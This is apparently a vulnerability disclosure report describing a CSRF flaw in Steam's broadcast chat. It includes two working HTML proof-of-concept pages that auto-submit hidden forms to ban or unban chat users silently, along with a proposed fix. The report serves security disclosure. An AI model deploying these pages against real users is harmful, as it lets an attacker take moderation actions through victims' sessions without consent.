CSRF | Ban or unban users in broadcast's chat

How it was found

#Steps to reproduce

• Start broadcast
• Attacker needs to craft special HTML page
• Get broadcast's steam id(it contains in URL: https://steamcommunity.com/broadcast/watch/{STEAM ID}/
• If attacker wants to unban somebody, he needs to create HTML page like this:

<iframe style="display:none" name="csrf-frame"></iframe>
<form action="https://steamcommunity.com/broadcast/ajaxupdateusermute/" method="POST" target="csrf-frame" id="csrf-form">
<input type="hidden" name="broadcaststeamid" value="{STEAM ID}">
<input type="hidden" name="issuersteamid" value="{STEAM ID}">
<input type="hidden" name="chattersteamid" value="{USER'S STEAM ID TO UNBAN}">
<input type="hidden" name="bantype" value="0">
<input type="hidden" name="duration" value="0">
<input type="hidden" name="perm" value="0">
</form>
<script>document.getElementById("csrf-form").submit()</script>
<html>
<head>
    <title>Unban in chat - CSRF</title>
</head>

<body>
<h1>Somebody was unbanned silently :/</h1>
</body>
</html>

• If attacker wants to permanently ban somebody, he needs to create HTML page like this:

<iframe style="display:none" name="csrf-frame"></iframe>
<form action="https://steamcommunity.com/broadcast/ajaxupdateusermute/" method="POST" target="csrf-frame" id="csrf-form">
<input type="hidden" name="broadcaststeamid" value="{STEAM ID}">
<input type="hidden" name="issuersteamid" value="{STEAM ID}">
<input type="hidden" name="chattersteamid" value="{USER'S STEAM ID TO BAN}">
<input type="hidden" name="bantype" value="1">
<input type="hidden" name="duration" value="0">
<input type="hidden" name="perm" value="1">
</form>
<script>document.getElementById("csrf-form").submit()</script>
<html>
<head>
    <title>Ban in chat - CSRF</title>
</head>

<body>
<h1>Somebody was banned silently :/</h1>
</body>
</html>

• After that broadcast's creator needs to visit Attacker's page.
• And somebody will be banned/unbanned.

#Video PoC *I banned myself, because i don't have third Steam account {F320189}

#Fix Add sessionid parameter to POST request, like this implemented in others requests.

Impact

Attacker can permanently ban or unban other users.